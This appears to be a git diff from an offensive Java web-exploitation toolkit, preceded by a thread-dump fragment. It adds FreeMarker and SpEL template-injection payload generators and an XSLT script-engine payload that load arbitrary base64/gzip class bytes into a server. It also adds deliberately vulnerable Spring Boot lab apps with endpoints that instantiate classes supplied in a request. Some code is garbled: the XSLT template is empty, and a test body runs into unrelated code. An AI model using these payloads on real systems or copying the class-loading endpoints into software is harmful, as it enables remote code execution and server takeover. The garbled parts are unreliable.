java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18) + at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099) + at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161) + at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@5a64c566 + java.lang.Thread.State: WAITING + at java.base@17.0.17/java.lang.Object.wait(Native Method) + at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.base@17.0.17/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:172) + +"TongWeb-utility-1" #22 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2a788698 + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"container-0" #24 [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.17/java.lang.Thread.sleep(Native Method) + at com.tongweb.container.core.StandardServer.await(StandardServer.java:548) + at com.tongweb.springboot.web.embedded.tongweb.TongWebWebServer$1.run(TongWebWebServer.java:147) + + +=========================================== + +StackClassNames: +com.reajason.javaweb.vul.springboot3.controller.Base64ClassLoaderController +com.tongweb.connector.AbstractProcessorLight +com.tongweb.connector.AbstractProtocol$ConnectionHandler +com.tongweb.connector.http11.Http11Processor +com.tongweb.container.authenticator.AuthenticatorBase +com.tongweb.container.connector.CoyoteAdapter +com.tongweb.container.core.ApplicationFilterChain +com.tongweb.container.core.StandardContextValve +com.tongweb.container.core.StandardEngineValve +com.tongweb.container.core.StandardHostValve +com.tongweb.container.core.StandardServer +com.tongweb.container.core.StandardWrapperValve +com.tongweb.container.valves.ErrorReportValve +com.tongweb.springboot.web.embedded.tongweb.TongWebWebServer$1 +com.tongweb.web.util.net.Acceptor +com.tongweb.web.util.net.NioEndpoint +com.tongweb.web.util.net.NioEndpoint$Poller +com.tongweb.web.util.net.NioEndpoint$SocketProcessor +com.tongweb.web.util.net.SocketProcessorBase +com.tongweb.web.util.threads.TaskQueue +com.tongweb.web.util.threads.TaskThread$WrappingRunnable +com.tongweb.web.util.threads.ThreadPoolExecutor +com.tongweb.web.util.threads.ThreadPoolExecutor$Worker +jakarta.servlet.http.HttpServlet +org.springframework.mcnFX.ErrorHladkHandler +org.springframework.web.filter.CharacterEncodingFilter +org.springframework.web.filter.FormContentFilter +org.springframework.web.filter.OncePerRequestFilter +org.springframework.web.filter.RequestContextFilter +org.springframework.web.method.support.InvocableHandlerMethod +org.springframework.web.servlet.DispatcherServlet +org.springframework.web.servlet.FrameworkServlet +org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter +org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter +org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod diff --git a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java index 213ba6f1..55f0efd8 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java @@ -13,6 +13,9 @@ import com.reajason.javaweb.packer.deserialize.java.*; import com.reajason.javaweb.packer.el.ELPacker; import com.reajason.javaweb.packer.freemarker.FreemarkerPacker; +import com.reajason.javaweb.packer.freemarker.FreemarkerScriptEnginePacker; +import com.reajason.javaweb.packer.freemarker.FreemarkerSpELSpringGzipJDK17Packer; +import com.reajason.javaweb.packer.freemarker.FreemarkerSpELSpringGzipPacker; import com.reajason.javaweb.packer.groovy.GroovyClassDefinerPacker; import com.reajason.javaweb.packer.groovy.GroovyPacker; import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker; @@ -50,6 +53,8 @@ import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker; import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker; import com.reajason.javaweb.packer.xmldecoder.XMLDecoderScriptEnginePacker; +import com.reajason.javaweb.packer.xslt.XSLTPacker; +import com.reajason.javaweb.packer.xslt.XSLTScriptEnginePacker; import com.reajason.javaweb.packer.xxljob.XxlJobHessianPacker; import com.reajason.javaweb.packer.xxljob.XxlJobJsonPacker; import com.reajason.javaweb.packer.xxljob.XxlJobPacker; @@ -142,12 +147,21 @@ public enum Packers { GroovyScriptEngine(new GroovyScriptEnginePacker(), GroovyPacker.class), Freemarker(new FreemarkerPacker()), + FreemarkerScriptEngine(new FreemarkerScriptEnginePacker(), FreemarkerPacker.class), + FreemarkerSpELSpringGzip(new FreemarkerSpELSpringGzipPacker(), FreemarkerPacker.class), + FreemarkerSpELSpringGzipJDK17(new FreemarkerSpELSpringGzipJDK17Packer(), FreemarkerPacker.class), Velocity(new VelocityPacker()), JinJava(new JinJavaPacker()), XMLDecoder(new XMLDecoderPacker()), XMLDecoderScriptEngine(new XMLDecoderScriptEnginePacker(), XMLDecoderPacker.class), XMLDecoderDefineClass(new XMLDecoderDefineClassPacker(), XMLDecoderPacker.class), + /** + * XSLT 打包器 + */ + XSLT(new XSLTPacker()), + XSLTScriptEngine(new XSLTScriptEnginePacker(), XSLTPacker.class), + /** * Java 反序列化打包器 */ diff --git a/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerPacker.java index 69a71a1c..2284f614 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerPacker.java @@ -1,19 +1,10 @@ package com.reajason.javaweb.packer.freemarker; -import com.reajason.javaweb.packer.ClassPackerConfig; -import com.reajason.javaweb.packer.Packer; -import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.packer.AggregatePacker; /** * @author ReaJason * @since 2024/12/13 */ -public class FreemarkerPacker implements Packer { - String template = "${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}"; - - @Override - public String pack(ClassPackerConfig config) { - String script = Packers.ScriptEngine.getInstance().pack(config); - return template.replace("{{script}}", script); - } +public class FreemarkerPacker implements AggregatePacker { } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerScriptEnginePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerScriptEnginePacker.java new file mode 100644 index 00000000..aab9779e --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerScriptEnginePacker.java @@ -0,0 +1,19 @@ +package com.reajason.javaweb.packer.freemarker; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; + +/** + * @author ReaJason + * @since 2024/12/13 + */ +public class FreemarkerScriptEnginePacker implements Packer { + String template = "${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}"; + + @Override + public String pack(ClassPackerConfig config) { + String script = Packers.ScriptEngine.getInstance().pack(config); + return template.replace("{{script}}", script); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELSpringGzipJDK17Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELSpringGzipJDK17Packer.java new file mode 100644 index 00000000..c1e64555 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELSpringGzipJDK17Packer.java @@ -0,0 +1,25 @@ +package com.reajason.javaweb.packer.freemarker; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; + +import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertClassNameValid; + +/** + * JDK 17-compatible FreeMarker/SpEL class-definition payload. + * + * @author ReaJason + * @since 2026/8/30 + */ +public class FreemarkerSpELSpringGzipJDK17Packer implements Packer { + String template = "${\"freemarker.template.utility.ObjectConstructor\"?new()(\"org.springframework.expression.spel.standard.SpelExpressionParser\").parseExpression(\"T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(java.util.Base64).getDecoder().decode('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()\").getValue()}"; + + @Override + public String pack(ClassPackerConfig config) { + String className = config.getClassName(); + assertClassNameValid(className); + return template.replace("{{className}}", className) + .replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config)); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELSpringGzipPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELSpringGzipPacker.java new file mode 100644 index 00000000..9088659f --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELSpringGzipPacker.java @@ -0,0 +1,22 @@ +package com.reajason.javaweb.packer.freemarker; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; + +/** + * Uses FreeMarker's ObjectConstructor to create a SpEL parser and evaluate a + * compressed class-definition expression. + * + * @author ReaJason + * @since 2026/8/30 + */ +public class FreemarkerSpELSpringGzipPacker implements Packer { + String template = "${\"freemarker.template.utility.ObjectConstructor\"?new()(\"org.springframework.expression.spel.standard.SpelExpressionParser\").parseExpression(\"T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()\").getValue()}"; + + @Override + public String pack(ClassPackerConfig config) { + return template.replace("{{className}}", config.getClassName()) + .replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config)); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/xslt/XSLTPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/xslt/XSLTPacker.java new file mode 100644 index 00000000..759ba65a --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/xslt/XSLTPacker.java @@ -0,0 +1,10 @@ +package com.reajason.javaweb.packer.xslt; + +import com.reajason.javaweb.packer.AggregatePacker; + +/** + * @author ReaJason + * @since 2026/8/30 + */ +public class XSLTPacker implements AggregatePacker { +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/xslt/XSLTScriptEnginePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/xslt/XSLTScriptEnginePacker.java new file mode 100644 index 00000000..1d1e33b2 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/xslt/XSLTScriptEnginePacker.java @@ -0,0 +1,41 @@ +package com.reajason.javaweb.packer.xslt; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; + +import java.nio.charset.StandardCharsets; +import java.util.Base64; + +/** + * JDK 1.6 ~ 1.8 XSLT payload (Xalan Java extension functions): decodes the + * JavaScript payload with javax.xml.bind.DatatypeConverter (bundled since JDK6, + * removed in JDK11) and evaluates it through the built-in ScriptEngineManager + * js engine (Rhino on JDK 1.6/1.7, Nashorn on JDK 1.8). + * + * @author ReaJason + * @since 2026/8/30 + */ +public class XSLTScriptEnginePacker implements Packer { + String template = "" + + "" + + "" + + "" + + "" + + "" + + "" + + "" + + ""; + + @Override + public String pack(ClassPackerConfig config) { + String js = Packers.DefaultScriptEngine.getInstance().pack(config); + return template.replace("{{base64Str}}", + Base64.getEncoder().encodeToString(js.getBytes(StandardCharsets.UTF_8))); + } +} diff --git a/packer/src/test/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELSpringGzipPackerTest.java b/packer/src/test/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELSpringGzipPackerTest.java new file mode 100644 index 00000000..1443a677 --- /dev/null +++ b/packer/src/test/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELSpringGzipPackerTest.java @@ -0,0 +1,43 @@ +package com.reajason.javaweb.packer.freemarker; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import org.junit.jupiter.api.Test; + +import java.nio.charset.StandardCharsets; +import java.util.Base64; + +import static org.junit.jupiter.api.Assertions.assertDoesNotThrow; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; + +class FreemarkerSpELSpringGzipPackerTest { + + private static ClassPackerConfig config(String className) { + ClassPackerConfig config = new ClassPackerConfig(); + byte[] classBytes = "hello".getBytes(StandardCharsets.UTF_8); + config.setClassName(className); + config.setClassBytes(classBytes); + config.setClassBytesBase64Str(Base64.getEncoder().encodeToString(classBytes)); + return config; + } + + @Test + void pack() { + String payload = new FreemarkerSpELSpringGzipPacker().pack(config("com.example.Test")); + + assertTrue(payload.startsWith("${\"freemarker.template.utility.ObjectConstructor\"?new()")); + assertTrue(payload.contains("SpelExpressionParser")); + assertTrue(payload.contains("Base64Utils")); + assertTrue(payload.contains("GZIPInputStream")); + assertTrue(payload.contains("com.example.Test")); + } + + @Test + void packJdk17() { + FreemarkerSpELSpringGzipJDK17Packer packer = new FreemarkerSpELSpringGzipJDK17Packer(); + + assertDoesNotThrow(() -> packer.pack(config("org.springframework.expression.Test"))); + assertThrows(UnsupportedOperationException.class, + () -> packer.pack(config("com.example.Test"))); + } +} diff --git a/packer/src/test/java/com/reajason/javaweb/packer/xslt/XSLTPackerTest.java b/packer/src/test/java/com/reajason/javaweb/packer/xslt/XSLTPackerTest.java new file mode 100644 index 00000000..a239e591 --- /dev/null +++ b/packer/src/test/java/com/reajason/javaweb/packer/xslt/XSLTPackerTest.java @@ -0,0 +1,33 @@ +package com.reajason.javaweb.packer.xslt; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import org.junit.jupiter.api.Test; + +import java.nio.charset.StandardCharsets; +import java.util.Base64; + +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertTrue; + +class XSLTPackerTest { + + private static ClassPackerConfig config(String className) { + ClassPackerConfig config = new ClassPackerConfig(); + byte[] classBytes = "hello".getBytes(StandardCharsets.UTF_8); + config.setClassName(className); + config.setClassBytes(classBytes); + config.setClassBytesBase64Str(Base64.getEncoder().encodeToString(classBytes)); + return config; + } + + @Test + void packScriptEngine() { + String payload = new XSLTScriptEnginePacker().pack(config("com.example.Test")); + + assertTrue(payload.startsWith(" input = new HashMap<>(); + input.put("object", new Object()); + Template template = new Template("templateName", new StringReader(data), configuration); + StringWriter output = new StringWriter(); + template.process(input, output); + return output.toString(); + } +} diff --git a/vul/vul-springboot4-webflux/Dockerfile b/vul/vul-springboot4-webflux/Dockerfile new file mode 100644 index 00000000..52996e41 --- /dev/null +++ b/vul/vul-springboot4-webflux/Dockerfile @@ -0,0 +1,8 @@ +FROM eclipse-temurin:21.0.11_10-jdk +WORKDIR /app + +COPY build/libs/vul-springboot4-webflux.jar /app/app.jar + +EXPOSE 8080 + +ENTRYPOINT java $JAVA_OPTS -jar app.jar diff --git a/vul/vul-springboot4-webflux/build.gradle.kts b/vul/vul-springboot4-webflux/build.gradle.kts new file mode 100644 index 00000000..95bd8ddf --- /dev/null +++ b/vul/vul-springboot4-webflux/build.gradle.kts @@ -0,0 +1,15 @@ +plugins { + id("java") + id("org.springframework.boot") version "4.0.8" + id("io.spring.dependency-management") version "1.1.7" +} + +java { + toolchain { + languageVersion = JavaLanguageVersion.of(17) + } +} + +dependencies { + implementation("org.springframework.boot:spring-boot-starter-webflux") +} diff --git a/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/ClassDefiner.java b/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/ClassDefiner.java new file mode 100644 index 00000000..e44a63dc --- /dev/null +++ b/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/ClassDefiner.java @@ -0,0 +1,14 @@ +package com.reajason.javaweb.vul.springboot4; + +public class ClassDefiner extends ClassLoader { + public ClassDefiner() { + } + + public ClassDefiner(ClassLoader parent) { + super(parent); + } + + public Class defineClass(byte[] code) { + return defineClass(null, code, 0, code.length); + } +} \ No newline at end of file diff --git a/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/VulSpringboot4Application.java b/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/VulSpringboot4Application.java new file mode 100644 index 00000000..ee579cb7 --- /dev/null +++ b/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/VulSpringboot4Application.java @@ -0,0 +1,13 @@ +package com.reajason.javaweb.vul.springboot4; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class VulSpringboot4Application { + + public static void main(String[] args) { + SpringApplication.run(VulSpringboot4Application.class, args); + } + +} diff --git a/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/controller/Base64ClassLoaderController.java b/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/controller/Base64ClassLoaderController.java new file mode 100644 index 00000000..744fded8 --- /dev/null +++ b/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/controller/Base64ClassLoaderController.java @@ -0,0 +1,35 @@ +package com.reajason.javaweb.vul.springboot4.controller; + +import com.reajason.javaweb.vul.springboot4.ClassDefiner; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.server.ServerWebExchange; +import reactor.core.publisher.Mono; + +import java.util.Base64; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +@RequestMapping("/b64") +public class Base64ClassLoaderController { + + @PostMapping + public Mono handleFormSubmission(ServerWebExchange exchange) { + return exchange.getFormData() + .flatMap(formData -> { + String data = formData.getFirst("data"); + byte[] bytes = Base64.getDecoder().decode(data); + Object o = null; + try { + o = new ClassDefiner(Thread.currentThread().getContextClassLoader()).defineClass(bytes).newInstance(); + } catch (Exception e) { + throw new RuntimeException(e); + } + return Mono.just(o.toString()); + }); + } +} \ No newline at end of file diff --git a/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/controller/IndexController.java b/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/controller/IndexController.java new file mode 100644 index 00000000..54cddb40 --- /dev/null +++ b/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/controller/IndexController.java @@ -0,0 +1,123 @@ +package com.reajason.javaweb.vul.springboot4.controller; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +public class IndexController { + + @RequestMapping("/test") + public String test() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException { + return ""; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName) throws + Exception { + return invokeMethod(obj, methodName, new Class[0], new Object[0]); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws + Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + return clazz.getDeclaredField(name); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + try { + Field field = getField(obj, name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + } + return null; + } + + @GetMapping("/") + public String index() { + return "hello"; + } +} diff --git a/vul/vul-springboot4-webflux/src/main/resources/application.properties b/vul/vul-springboot4-webflux/src/main/resources/application.properties new file mode 100644 index 00000000..330e4c5d --- /dev/null +++ b/vul/vul-springboot4-webflux/src/main/resources/application.properties @@ -0,0 +1 @@ +spring.application.name=vul-springboot4 diff --git a/vul/vul-springboot4/Dockerfile b/vul/vul-springboot4/Dockerfile new file mode 100644 index 00000000..85317be8 --- /dev/null +++ b/vul/vul-springboot4/Dockerfile @@ -0,0 +1,8 @@ +FROM eclipse-temurin:21.0.11_10-jdk +WORKDIR /app + +COPY build/libs/vul-springboot4.jar /app/app.jar + +EXPOSE 8080 + +ENTRYPOINT java $JAVA_OPTS -jar app.jar diff --git a/vul/vul-springboot4/build.gradle.kts b/vul/vul-springboot4/build.gradle.kts new file mode 100644 index 00000000..dbd6d513 --- /dev/null +++ b/vul/vul-springboot4/build.gradle.kts @@ -0,0 +1,28 @@ +plugins { + id("java") + id("war") + id("org.springframework.boot") version "4.0.8" + id("io.spring.dependency-management") version "1.1.7" +} + +java { + toolchain { + languageVersion = JavaLanguageVersion.of(17) + } +} + +dependencies { + implementation("org.springframework.boot:spring-boot-starter-webmvc") + testImplementation("org.springframework.boot:spring-boot-starter-test") + testImplementation("org.junit.jupiter:junit-jupiter-api") + testImplementation("org.junit.jupiter:junit-jupiter") + testRuntimeOnly("org.junit.platform:junit-platform-launcher") + runtimeOnly("com.h2database:h2") + implementation("ognl:ognl:2.7.3") + implementation("commons-jxpath:commons-jxpath:1.3") + implementation("commons-beanutils:commons-beanutils:1.9.3") +} + +tasks.test { + useJUnitPlatform() +} diff --git a/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/ClassDefiner.java b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/ClassDefiner.java new file mode 100644 index 00000000..47b35178 --- /dev/null +++ b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/ClassDefiner.java @@ -0,0 +1,10 @@ +package com.reajason.javaweb.vul.springboot4; + +public class ClassDefiner extends ClassLoader { + private ClassDefiner() { + } + + public static Class defineClass(byte[] code) { + return new ClassDefiner().defineClass(null, code, 0, code.length); + } +} \ No newline at end of file diff --git a/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/VulSpringboot4Application.java b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/VulSpringboot4Application.java new file mode 100644 index 00000000..3e9a1f4b --- /dev/null +++ b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/VulSpringboot4Application.java @@ -0,0 +1,12 @@ +package com.reajason.javaweb.vul.springboot4; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class VulSpringboot4Application { + + public static void main(String[] args) { + SpringApplication.run(VulSpringboot4Application.class, args); + } +} diff --git a/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/Base64ClassLoaderController.java b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/Base64ClassLoaderController.java new file mode 100644 index 00000000..63860867 --- /dev/null +++ b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/Base64ClassLoaderController.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.vul.springboot4.controller; + +import com.reajason.javaweb.vul.springboot4.ClassDefiner; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.util.Base64; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +@RequestMapping("/b64") +public class Base64ClassLoaderController { + + @PostMapping + public String base64ClassLoader(String data) throws InstantiationException, IllegalAccessException { + byte[] bytes = Base64.getDecoder().decode(data); + Object o = ClassDefiner.defineClass(bytes).newInstance(); + return o.toString(); + } +} \ No newline at end of file diff --git a/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/BigIntegerClassLoaderController.java b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/BigIntegerClassLoaderController.java new file mode 100644 index 00000000..dcb0ec62 --- /dev/null +++ b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/BigIntegerClassLoaderController.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.vul.springboot4.controller; + +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +@RestController +@RequestMapping("/biginteger") +public class BigIntegerClassLoaderController extends ClassLoader { + static byte[] decodeBigInteger(String bigIntegerStr) throws Exception { + Class decoderClass = Class.forName("java.math.BigInteger"); + return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX)); + } + + @PostMapping + public void base64ClassLoader(String data) throws Exception { + byte[] bytes = decodeBigInteger(data); + defineClass(null, bytes, 0, bytes.length).newInstance(); + } +} diff --git a/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/IndexController.java b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/IndexController.java new file mode 100644 index 00000000..54cddb40 --- /dev/null +++ b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/IndexController.java @@ -0,0 +1,123 @@ +package com.reajason.javaweb.vul.springboot4.controller; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import 